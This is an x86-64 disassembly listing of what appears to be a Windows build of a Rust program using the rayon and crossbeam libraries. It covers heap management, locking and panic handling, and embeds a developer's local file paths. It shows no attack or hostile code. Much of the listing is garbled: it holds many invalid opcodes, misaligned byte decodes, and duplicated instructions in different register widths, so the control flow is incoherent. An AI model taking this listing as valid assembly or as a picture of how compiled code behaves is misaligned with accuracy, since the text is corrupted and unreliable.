mov r8d, 0xc
add rsp, 0x48
pop rbx
pop rsi
jmp rax
add rax, 4
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df97a]
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x140074af0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400df984]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
mov r8d, 3
call fcn.14003fab0
cmp byte [rsp + 0x31], 0
movzx eax, byte [rsp + 0x30]
je 0x14005f511
test al, al
mov al, 1
jne 0x14005f511
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x14005f4f9
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
mov r8d, 2
jmp 0x14005f50e
mov ebx, ecx
test cl, cl
jmp 0x14005f513
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14005f4dd
cmp byte [rsp + 0x39], 0
je 0x14005f4dd
test byte [rsi + 0x34], 4
jne 0x14005f4dd
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14005f3e3
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14005f511
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e13db]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
movzx eax, byte [rbx + 8]
test al, al
jne 0x1400638d7
mov byte [rbx + 9], 1
lea rcx, [rbx + 0x10]
call qword [sym.imp.kernel32.dll_WakeAllConditionVariable]
test r14b, r14b
jne 0x14006363d
mov rax, qword [0x1400f02b8]
shl rax, 1
test rax, rax
jne 0x140063880
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x190]
test rcx, rcx
je 0x14006365f
mov rax, qword [r15 + 0x198]
mov rdx, rdi
call qword [rax + 0x28]
mov rbx, qword [rsp + 0x180]
mov r14, qword [rsp + 0x190]
mov rdx, qword [r14 + 0x210]
cmp rdx, rbx
jbe 0x1400638bd
mov rax, qword [0x1400f02b8]
shl rax, 1
test rax, rax
jne 0x14006386f
xor r14d, r14d
movzx eax, byte [rbx + 8]
test al, al
jne 0x1400638d7
mov byte [rbx + 9], 1
lea rcx, [r12*8 + 0x28]
add rcx, r13
call qword [sym.imp.kernel32.dll_WakeAllConditionVariable]
test r14b, r14b
jne 0x140063713
ror byte [rdi], 0x85
add dword [rcx], 0
add byte [rax - 0x77], cl
fcos
adc eax, 0x45be4
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x1a0]
test rcx, rcx
je 0x140063735
invalid
mov rax, qword [r15 + 0x1a8]
mov eax, dword [rdi + 0x1a8]
mov rdx, rdi
call qword [rax + 0x28]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
cmp qword [rax + 0x98], rsi
jne 0x140063926
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x98], 0
mov rax, qword [rsp + 0x198]
lock dec qword [rax]
jne 0x14006378e
lea rcx, [rsp + 0x198]
call fcn.14000c590
add al, ch
add cl, byte [rsi - 0x74b70006]
test byte [rax + rdi*4], ah
add dword [rax], eax
add al, dh
dec qword [rax]
mov rax, qword [rsp + 0x1b8]
lock dec qword [rax]
jne 0x1400637a9
lea rcx, [rsp + 0x1b8]
call fcn.14000c590
out 0x8d, eax
cli
invalid
out 0x8d, eax
cli
dec dword [rax - 0x75]
mov ah, 0x24
add byte [rcx], al
add byte [rax], al
mov rsi, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
and rdi, 0xfffffffffffffffe
and rsi, 0xfffffffffffffffe
cmp rdi, rsi
jne case.0x14002753a.350
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x190]
lock dec qword [rax]
jne 0x1400637f8
add dword [rax], eax
add al, ch
test al, 0xf1
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140063829
add rdi, 2
cmp rsi, rdi
je 0x1400637ce
mov eax, edi
not eax
invalid
test al, 0x7e
jne 0x140063820
shr byte [rax + 0x4def757e], 1
mov esi, dword [rax]
mov rcx, qword [0x1400f0220]
xor edx, edx
call rbx
mov r8, r14
jmp 0x140063820
call fcn.1400a7ca0
mov r14d, eax
xor r14b, 1
jmp 0x14006360b
xor byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
invalid
call fcn.1400a7ca0
mov r14d, eax
xor r14b, 1
jmp 0x1400636da
call fcn.1400a7ca0
test al, al
ror byte [rdi], 0x85
mov al, 0xfd
invalid
invalid
ror byte [rdi], 0x85
mov al, 0xfd
invalid
inc esi
or byte [r9], al
mov byte [rbx + 8], 1
jmp 0x14006363d
test dword [rax - 2], esi
invalid
or byte [r9], al
jmp 0x140063713
invalid
invalid
invalid
invalid
call fcn.1400a4430
ud2
insb byte [rdi], dx
invalid
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x70], ebx
mov byte [rsp + 0x78], r14b
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_srclatch.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400da358]
push 7
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
mov edx, 0x2b
call fcn.1400a48c0
add al, 0
add al, 0
ud2
invalid
or al, 0xc
add al, 0
ud2
lea rcx, str.assertion_failed:_t.get__.eq__self_as_const____
lea r8, [0x1400da550]
invalid
add byte [rdx + 0x31], bh
call fcn.1400a4530
add byte [rdi], cl
invalid
invalid
add byte [rdi], cl
or eax, dword [rcx + 0x56]
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov rax, qword [0x1400f0138]
cmp rax, 3
jne 0x1400639f2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
cmp rcx, 3
jne 0x140063978
invalid
add eax, 0xebc68948
insd dword [rdi], dx
mov rsi, rax
jmp 0x1400639e5
cmp qword [0x1400f0130], 0
je 0x140063a31
or byte [rax], al
add byte [rdi], cl
test byte [rbx + 0x48000000], ch
lea esi, [0x1400f0130]
lea rsi, [0x1400f0130]
cmp rcx, 2
jb 0x1400639e5
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400639e5
lea rdi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400639d3
cmp qword [r14 + 0x10], 0x11
jb 0x1400639c1
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
or byte [rax], al
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
cmp byte [rax - 0x77], cl
and al, 0x40
lea rax, [0x1400da4e8]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, [0x1400f0138]
lea r9, [0x1400da268]
invalid
invalid
invalid
lea r8, [rsp + 0x40]
xor edx, edx
call fcn.1400a75c0
jmp 0x140063963
xor bh, bh
invalid
invalid
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], rax
lea rax, [0x1400da4d0]
add eax, 0x76a8e
add eax, 0x76a8e
mov qword [rsp + 0x20], rax
lea rcx, str.The_global_thread_pool_has_not_been_initialized.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_src_registry.rs
lea r9, [0x1400da318]
lea r8, [rsp + 0x28]
mov edx, 0x30
call fcn.1400a48c0
ud2
add rsp, 0x40
pop rsi
ret
cmp ecx, 1
jne 0x140063b86
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400da828]
mov r8d, 0x1a
jmp 0x140063b7d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400da80c]
mov r8d, 0x1c
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
add rsp, 0x48
pop rbx
pop rsi
jmp rax
add rax, 8
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400da842]
mov r8d, 7
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
je 0x140063bcf
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
invalid
je 0x140063bcf
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x140063c50]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14003fc80
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x140063c39
mov bl, 1
test cl, cl
jne 0x140063c3b
push rdx
push rdx
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x140063c1d
cmp byte [rsp + 0x39], 0
je 0x140063c1d
invalid
and dh, dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x140063c1d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x140063c3b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140063c3b
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x48
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x38]
call fcn.140063f90
mov r15, qword [rsp + 0x28]
cmp r15, 2
add dh, byte [rbp + 0x29]
mov r14, qword [rsp + 0x30]
mov esi, r14d
and esi, 3
lea rax, [0x1400e7048]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
jmp rcx
movzx eax, byte [r14 + 0x10]
cmp al, 0x24
je 0x140063d85
invalid
push 0x84e9
add byte [rbx + rcx*4 + 0x64], cl
mov r12, qword [rsp + 0x30]
jmp 0x140063da6
mov r12, qword [rsp + 0x30]
mov r14, r12
cmp r15d, 3
inc dword [rbx]
inc dword [rbx]
jne 0x140063dc2
mov qword [rsp + 0x98], r12
cmp qword [0x1400f0130], 0
cmp eax, 0x8c3ec
invalid
je 0x140063dae
add byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, 0x8c3ec
add byte [rax + rbp*2 - 0x10], dh
dec qword [r12]
or al, 0x24
lock dec qword [r12]
or al, 0x24
jne 0x140063db5
lea rcx, [rsp + 0x98]
call fcn.1400629a0
jmp 0x140063db5
mov rcx, r14
shr rcx, 0x20
call fcn.140077f60
cmp al, 0x24
je 0x140063d85
jmp 0x140063da6
movzx eax, byte [r14 + 0xf]
cmp al, 0x24
je 0x140063d85
jmp 0x140063da6
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], 0
je 0x140063e41
mov r15d, 2
jmp 0x140063dc2
mov qword [0x1400f0130], r12
mov r15d, 3
lea r14, [0x1400f0130]
mov rax, qword [rbx]
cmp rax, 3
je 0x140063e29
cmp eax, 2
jb 0x140063e29
mov rax, qword [rbx + 8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140063e29
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, rdi
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140063e17
cmp qword [r12 + 0x10], 0x11
jb 0x140063e05
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbx], r15
mov qword [rbx + 8], r14
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xe0], 0
mov word [rsp + 0xf0], 1
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x98]
call fcn.140063f90
mov rax, qword [rsp + 0x38]
cmp rax, 3
jne 0x140063f0b
mov r12, qword [rsp + 0x40]
cmp esi, 1
jne 0x140063d34
lea rsi, [r14 - 1]
mov rdi, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140063ef4
cmp qword [r14 + 0x10], 0x11
jb 0x140063ee2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140063d34
cmp eax, 2
jb 0x140063da6
mov rax, qword [rsp + 0x40]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140063da6
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, rdi
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140063f5d
cmp qword [r15 + 0x10], 0x11
jb 0x140063f4b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140063da6
mov r13d, edi
shr r13d, 1
and r13d, 0x3f
cmp r13d, 0x3f
jne 0x140065750
movups xmmword [rsp + rax - 0x50], xmm6
mov qword [rsp + rax - 0x40], 0
movups xmmword [rsp + rax - 0x38], xmm6
mov qword [rsp + rax - 0x28], 0
movups xmmword [rsp + rax - 0x20], xmm6
mov qword [rsp + rax - 0x10], 0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + rax - 8], esi
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + rax - 8], esi
mov qword [rsp + rax + 8], 0
movups xmmword [rsp + rax + 0x10], xmm6
or byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + rax + 0x10], esi
mov qword [rsp + rax + 0x20], 0
add al, 0x20
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + rax + 0x28], esi
movups xmmword [rsp + rax + 0x28], xmm6
mov qword [rsp + rax + 0x38], 0
movups xmmword [rsp + rax + 0x40], xmm6
add al, 0x40
cmp byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + rax + 0x40], esi
add al, 0x40
add al, 0x40
mov qword [rsp + rax + 0x50], 0
add al, 0x50
add byte [rax], al
add byte [rax], al
add rax, 0xa8
add eax, 0xa8
add byte [rax + 0x3d], cl
js 0x1400657e2
cmp rax, 0x678
jne 0x140065770
nop
nop
mov r8d, 0x5e8
mov rcx, r14
add eax, 0x894c0000
int1
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f02c0]
stosb byte [rdi], al
or byte [rax], al
sub byte [rsi - 0x49f0fffd], dh
add eax, 0x8aac6
stosb byte [rdi], al
or byte [rax], al
stosb byte [rdi], al
or byte [rax], al
mov rax, qword [0x1400f0220]
mov eax, dword [0x1400f0220]
test rax, rax
jne 0x14006581c
sal byte [rbp + 0x16], 0xff
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x43b0c
test rax, rax
je case.0x14003cbdd.312
add byte [rax], al
mov qword [0x1400f0220], rax
add byte [rcx - 0x48], al
invalid
mov r8d, 0x5f0
mov rcx, rax
xor edx, edx
add eax, 0x89480000
sal dword [rcx], 0xd2
call qword [sym.imp.kernel32.dll_HeapAlloc]
add al, 0
test rax, rax
je case.0x14003cbdd.312
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x77], cl
mov esp, eax
mov r12, rax
mov esp, eax
mov qword [rax], 0
mov rcx, rax
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc1
add rcx, 8
mov r8d, 0x5e8
mov rdx, r14
invalid
add rcx, 8
mov r8d, 0x5e8
mov rdx, r14
invalid
bnd call sub.VCRUNTIME140.dll_memcpy
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + 2]
mov rax, rdi
clc
clc
lock cmpxchg qword [rsi + 0x80], rcx
je 0x14006589d
mov r15, qword [rsi + 0x88]
cmp ebp, 6
mov ecx, 6
add byte [rax], al
add byte [rdi], cl
int 0xba
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
int 0xba
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x70], ah
nop
nop
nop
pause
mov r8d, edx
shr r8d, cl
call 0xc54c1b8b
invalid
call 0xc54c1b8b
sal byte [rcx + rsi*8 - 0x7d], 0xfd
invalid
test eax, eax
je 0x140065880
cmp ebp, 7
adc ebp, 0
invalid
add byte [rax - 0x77], cl
invalid
jmp 0x140065726
invalid
invalid
cmp r13d, 0x3e
jne case.0x14007e8da.420
std
jne case.0x14007e8da.420
test r12, r12
je 0x1400659c8
invalid
add byte [rax - 0x7d], cl
mov dword [rsp + rcx*2], 0x88a689
add al, 0x4c
mov dword [rsi + 0x88], esp
invalid
add rdi, 4
add edi, 4
add al, 0x4c
mov dword [rsi + 0x88], esp
invalid
mov qword [rsi + 0x88], r12
add byte [rax - 0x77], cl
mov esi, 0x80
add byte [rax], al
invalid
mov qword [rsi + 0x80], rdi
add byte [rax], al
add byte [rbp - 0x77], cl
mov dword [rdi], esp
mov qword [r15], r12
mov dword [rdi], esp
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [r15 + 0x5d8], rax
mov rax, qword [rsp + 0x30]
and al, 0x30
xchg eax, ebx
add eax, 0x8b480000
fadd dword [0xcb4e58cf]
and al, 0x30
mov qword [r15 + 0x5e0], rax
add byte [rax], al
lock or qword [r15 + 0x5e8], 1
or dword [rdi + 0x5e8], 1
jmp 0x140065921
lea rax, [r13*2]
insd dword [rdi], dx
add byte [rax], al
add byte [rax], al
add rax, r13
mov rcx, qword [rsp + 0x28]
sub byte [rcx - 0x77], cl
invalid
invalid
or byte [rax - 0x75], cl
and al, 0x30
mov qword [r15 + rax*8 + 0x10], rcx
mov dword [rdi + rax*8 + 0x10], ecx
sub byte [rcx - 0x77], cl
invalid
mov dword [rdi + rax*8 + 0x10], ecx
lock or qword [r15 + rax*8 + 0x18], 1
sbb byte [rcx], al
test r12, r12
test esp, esp
je 0x140065921
mov rcx, qword [0x1400f0220]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
ror byte [rbp - 0x77], cl
loopne 0x14006591b
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x43a0f
mfence
movabs rdx, 0x100000000
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rsi - 0x70], ah
nop
nop
nop
mov rax, qword [rsi + 0x178]
xchg byte [rax + 1], bh
add byte [rax], al
bt rax, 0x20
jb 0x14006594f
and byte [rdx + 0x11], dh
lea rcx, [rax + rdx]
lea ecx, [rax + rdx]
or al, 0x10
lock cmpxchg qword [rsi + 0x178], rcx
cmpxchg dword [rsi + 0x178], ecx
js 0x14006594a
add byte [rax], al
add byte [rbp - 0x1d], dh
jne 0x140065930
jmp 0x140065952
mov rcx, rax
mov rax, rcx
mov eax, ecx
and rax, 0xffff
je 0x14006596c
invalid
cmovs eax, dword [rbx + 0x238247c]
cmp qword [rsp + 0x38], 2
cmp dword [rsp + 0x38], 2
jl 0x140065985
cmp byte [rdx], al
jae 0x140065988
shr ecx, 0x10
cmp ecx, eax
je 0x140065988
invalid
sbb al, 0xf
sub byte [rsp + 0xc10], dh
and al, 0x10
or al, 0
invalid
movaps xmm6, xmmword [rsp + 0xc10]
add rsp, 0xc28
pop rbx
sub byte [rax + rax], cl
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
add rsi, 0x160
mov rcx, rsi
int1
mov edx, 1
movaps xmm6, xmmword [rsp + 0xc10]
sub byte [rsp + 0xc10], dh
sub byte [rsp + 0xc10], dh
and al, 0x10
or al, 0
adc byte [rax + rax], cl
add byte [rax - 0x7f], cl
invalid
add rsp, 0xc28
or al, 0
add byte [rbx + 0x5d], bl
pop rbp
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
jmp fcn.1400a6d70
mov ecx, 0xb9000413
or byte [rax], al
add byte [rax], al
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x5f0
add byte [rax], al
call fcn.1400a42a0
ud2
call 0x14b1559cb
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, 0x807f1
int1
invalid
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_deque_0.8.3_srcdeque.rs
lea eax, [0x1400da1c0]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
push rax
jmp 0x1400659e2
call fcn.1400a4530
ud2
int3
int3
int3
int3
int3
int3
test rax, rax
je case.0x14002753a.373
invalid
adc al, 0x83
clc
add dword [rbp + 0x27], esi
jne case.0x14002753a.374
cmp eax, 1
jne case.0x14002753a.374
lea rax, [0x1400da746]
add eax, 0x74d42
add byte [rcx - 0x48], al
mov r8d, 0x3a
cmp al, byte [rax]
add byte [rax], al
jmp 0x140065a19
or eax, 0xff058d48
invalid
lea rax, [0x1400da712]
dec dword [rdi + rax]
mov r8d, 0x34
xor al, 0
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
mov rcx, rdx
mov rdx, rax
ret 0x3ce9
test ch, bh
std
invalid
ror dword [rax - 0x77], 1
ret 0x3ce9
std
dec dword [rax - 0x7d]
ror dword [rax], 0xe9
or cl, ch
add rcx, 8
jmp 0x14007ba20
add dword [rax], eax
or cl, ch
pop rdi
add dword [rax], eax
int3
int3
int3
sub rsp, 0x28
mov rax, qword [rcx]
add dword [rax - 0x7b], ecx
invalid
je case.0x14003d841.278
invalid
sub byte [rax - 0x75], cl
add dword [rax - 0x7b], ecx
sal byte [rbx + rdx - 0x7d], 0xf8
adc eax, dword [rbx + 0x1c7501f8]
adc eax, dword [rbx + 0x1c7501f8]
cmp eax, 1
jne 0x140065a5d
sbb al, 0x48
lea rax, [0x1400da746]
lea eax, [0x1400da746]
invalid
invalid
add byte [rdx + 0x3a], bh
mov edx, 0x3a
add byte [rax], al
jmp 0x140065a66
invalid
lea rax, [0x1400da712]
mov edx, 0x34
xor al, 0
add byte [rax], al
invalid
invalid
xor al, 0
add byte [rax], al
jmp 0x140065a66
add rcx, 8
add ecx, 8
ror dword [rax], 0xe8
or al, ch
call case.0x14007d19f.217
stosb byte [rdi], al
movabs dword [0xc328c48348900001], eax
add dword [rax], eax
nop
add rsp, 0x28
ret
int3
int3
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
movabs rax, 0x100000000
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
in al, dx
js 0x140065ac9
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
cmp rdx, rax
invalid
invalid
cmp rdx, rax
ja 0x140065dc6
xor eax, dword [rbx]
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x33], cl
mov rbp, r9
mov rbp, r9
mov r15, r8
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov r14, rcx
mov rax, qword [rsp + 0xe0]
mov eax, dword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rbp + rcx*4 + 0x60], cl
lea r12, [rax + 4]
lea rax, [r8 + 0x28]
lea r12, [rax + 4]
lea esp, [rax + 4]
lea rax, [r8 + 0x28]
sub byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
invalid
mov qword [rsp + 0x30], rax
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
and al, 0x68
add dword [rax - 0x77], ecx
and al, 0x68
and al, 0x68
lea rax, [rcx + 0x10]
lea eax, [rcx + 0x10]
adc byte [r8 - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rsp + 0x60], rax
and al, 0x60
xor r13d, r13d
mov dword [rsp + 0x2c], 0
and al, 0x2c
add byte [rax], al
sub al, 0
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x40], rax
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x40], rax
xor eax, eax
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
cmp byte [rcx], dh
dec dword [rcx + rcx*4 + 0x64]
invalid
invalid
invalid
xor edi, edi
mov qword [rsp + 0x48], r12
and al, 0x48
and al, 0x48
and al, 0x48
mov qword [rsp + 0x70], r9
mov dword [rsp + 0x70], ecx
jo case.0x140042585.220
jmp 0x140065b09
sbb al, 0xf
invalid
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
sub dword [rdi - 0x2dcefff8], esp
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x44], cl
invalid
invalid
xor edx, edx
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
and al, 0x58
call rsi
invalid
cmp rdi, rbx
cmp edi, ebx
fisttp word [rdi]
adc dword [rsi + 0x4d000002], 0xffffff85
add al, byte [rax]
add byte [rax], al
add byte [rbp - 0x7b], cl
jae case.0x14004bb40.38
add byte [rbp - 0x7b], cl
test r12, r12
test esp, esp
in al, 0xf
mov byte [rbp + 0x48000002], ch
add al, byte [rax]
invalid
invalid
js case.0x140048458.62
mov rax, qword [0x1400f0220]
mov eax, dword [0x1400f0220]
add eax, 0x8a707
or byte [rax], al
test rax, rax
test eax, eax
jne 0x140065b34
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
add dword [rdx], 0
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add dword [rdx], 0
add byte [rax], al
invalid
invalid
mov qword [0x1400f0220], rax
add eax, 0x8a6ec
in al, dx
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
mov rcx, rax
mov edx, 8
invalid
add byte [rbp - 0x77], cl
loopne 0x140065b3f
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x437db
add byte [rax - 0x7b], cl
test rax, rax
je 0x140065db0
invalid
add al, byte [rax]
invalid
ror byte [rdi], 0x84
invalid
mov rcx, rax
mov qword [rsp + 0x58], rax
and al, 0x58
ror dword [rax - 0x77], 0x44
and al, 0x58
and al, 0x58
mov rdx, rbp
mov rsi, qword [rsp + 0xe0]
mov esi, dword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rcx - 0x77], cl
mov eax, esi
add byte [rax], al
add byte [rcx - 0x77], cl
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x58]
and al, 0x58
add byte [rax - 0x75], cl
push rsp
and al, 0x58
mov qword [rsp + 0x50], r13
mov dword [rsp + 0x50], ebp
push rax
movzx eax, r13b
shl eax, 0x18
movzx ecx, byte [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
sub al, 0xc1
shl ecx, 0x10
loope case.0x14003d841.291
or ecx, eax
movzx eax, byte [rsp + 0x40]
and al, 0x40
